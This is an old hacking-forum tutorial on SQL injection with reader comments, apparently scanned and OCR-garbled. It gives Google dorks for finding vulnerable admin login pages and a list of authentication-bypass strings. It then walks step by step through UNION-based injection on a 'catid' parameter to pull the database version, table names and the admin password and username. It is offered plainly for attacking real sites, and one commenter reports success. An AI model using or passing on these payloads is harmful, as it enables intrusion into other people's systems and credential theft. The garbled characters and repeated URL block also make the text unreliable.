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part 1 : Basic sgl injection

Gaining auth bypass on an admin account.

Most sites vulnerable to this are .asp

First we need 2 find a site, start by opening google.

Now we type our dork: "defenition of dork” 'a search entry for a certain type of site/exploit .ect"
There is a large number of google dork for basic sql injection.
here is the best:

“inurl:admin.asp”

“inurl:login/admin.asp"

“inurl:admin/login.asp"

“inurl:adminlogin.asp”

“inurl:adminhome.asp"

“inurl:admin_login.asp"

"inurl:administratorlogin.asp"

“inurl:login/administrator.asp"

“inurl:administrator_login.asp"

Now what to do once we get to our site.
the site should look something like this :

welcome to xxxxxxxxxx administrator panel
username :
password :

so what we do here is in the username we always type "Admin"
and for our password we type our sql injection

here is a list of sgl injections
‘or'l'="1

for 'x'='x

"or 0=0 --

" or 0=0 --

or 0=0 --

"or 0=0 #

“or 0=0#

or 0=0 #

for 'X'='x
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"or "X"="x
) or ('X'='X
"or 1=1--
"orl1=1--
or1=1--
'or a=a--
"or"a"="a
)or (a'="a

") or ("a"="a
hi" or "a"="a
hi"or 1=1 --
hi' or 1=1 --
‘or'l=1'

there are many more but these are the best ones that i know of
and what this sqgl injection is doing : confusing the fuck out of the database till it gives you auth
bypass.

So your input should look like this

username:Admin
password:'or'l'="1

So click submit and you'r in

NOTE not all sites are vulnerable.

part 2: injecting sgl queries to extract the admin username and password
ok so lets say we have a site :

http://www.xxxxx.com/index.php?catid=1
there is a list of dork 4 sites lyk this

“inurl:index.php?catid="

"inurl:news.php?catid="

“inurl:index.php?id="

“inurl:news.php?id="

or the best in my view "full credit to gabandi for discovering this"
“inurl:".php?catid=" site:xxx"


http://www.xxxxx.com/index.php?catid=1

So once you have you'r site
http://www.xxxx.com/index.php?catid=1

now we add a ' to the end of the url

so the site is

http://www.xxxx.com/index.php?catid=1"'

if there is an error of some sort then it is vulnerable

now we need to find the number of columns in the sql database
SO we type

http://www.xxxx.com/index.php?catid=1 order by 1-- "no error"
http://www.xxxx.com/index.php?catid=1 order by 2-- "no error"
http://www.xxxx.com/index.php?catid=1 order by 3-- "no error"
http://www.xxxx.com/index.php?catid=1 order by 4-- "no error"
http://www.xxxx.com/index.php?catid=1 order by 5-- "error"

so this database has 4 columns because we got an error on 5

on some databases there is 2 columns and on some 200 it varies

so once we have the column number.

we try the union function

http://www.xxxx.com/index.php?catid=1 union select 1,2,3,4-- "or whatever number of columns are
in the database"

if you see some numbers like 1 2 3 4 on the screen or the column names

it might not show all numbers on the screen but the numbers displayed are the ones you can
replace to extract info from the db

so now we need to info about the db

so lets say the numbers 2 and 4 showed up on the screen

so i will use my query on 2

http://mww.xxxx.com/index.php?catid=1 union select
1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4--

the db type and version will pop up on the screen

if the db version is 4 or lower then to extract the password you will need these queries
http://www.xxxx.com/index.php?catid=-1 UNION SELECT
1,concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from
information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37),3,4--

this should display the table containing the admin username and password

but if not then you will have to guess the table

S0 once you have your table "or not"

then type

http://www.xxxx.com/index.php?catid=1 UNION SELECT 1,password,3,4 FROM admintablename--
where it says admintablename type the table you found with
concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from
information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37)-- or your guess
then once u have the right table name you should get the administrator password

then just do the same thing but type username instead of password

sometimes the password is hashed and you need to crack it.

then see if you can get the admin panel if you cant then try the admin panel finder script here
http://www.darkcOde.com/cOde/perl/admin_1.2_.txt

now if the database is version 5 or up

type

http://mwww.xxxx.com/index.php?catid=-1 UNION SELECT 1,table_name,3,4 FROM
information_schema.tables--

and that will display a list of all the tables

once you have your table name



http://www.xxxx.com/index.php?catid=1
http://www.xxxx.com/index.php?catid=1
http://www.xxxx.com/index.php?catid=1
http://www.xxxx.com/index.php?catid=1
http://www.xxxx.com/index.php?catid=1
http://www.xxxx.com/index.php?catid=1
http://www.xxxx.com/index.php?catid=1
http://www.xxxx.com/index.php?catid=1
http://www.xxxx.com/index.php?catid=1
http://www.xxxx.com/index.php?catid=-1
http://www.xxxx.com/index.php?catid=1
http://www.darkc0de.com/c0de/perl/admin_1.2_.txt
http://www.xxxx.com/index.php?catid=-1

type the same thing as 4

http://www.xxxx.com/index.php?catid=1 UNION SELECT 1,password,3,4 FROM admintable--
then the same with username

but now if it doesnt work far all those things

just tootoo around with all the little catid=1 or catid=-1 or instead of -- put /* or even nothing
just play around with those

but sometimes we also need to use the version() or version@ @

so sometimes UNION SELECT version (),password,3,4 FROM admintable--

or UNION SELECT version @ @,password,3,4 FROM admintable--

Vhyrian - October 19, 2010, 4:15 pm

It's good that you try to contribute something to the community, except this has been posted several
times before.
However, next time try to use more colors in your tutorials.

Vhyrian ?

Monid - October 19, 2010, 4:19 pm
Ok,thanks for your comment :D

Monid - October 20, 2010, 4:53 am
keep it alive cmon!

too short

reichomang3 - October 20, 2010, 6:03 am
this is stickied page lol 0.0
go to forums hacking and then sqgl and acaxtly the same tut is stickied O.0

lol?

le@rner - October 20, 2010, 6:05 am
nice tutorial

for noobs

thanks for sharing

ControlFreak_00 - October 17, 2012, 6:02 am
Nice job I think. It's a very clear tutorial and helps alot. Great job!

May | use this on my website?onlh if you allow it...

jaxy - October 17, 2012, 11:23 am
nice tutorial

for beginners

thanks for sharing

Osiris1717 - October 27, 2012, 11:14 am
| still don't get it, but thanks for the share. Needs some color, and needs separated in to sections.

Executive - October 27, 2012, 12:54 pm
good share man good job thanks for the help

mikam516000 - January 22, 2013, 9:34 am


http://www.xxxx.com/index.php?catid=1

very good job
thanks
for small points

Tomb Raider - January 22, 2013, 9:39 am
Wow this worked first try for me haha thanks



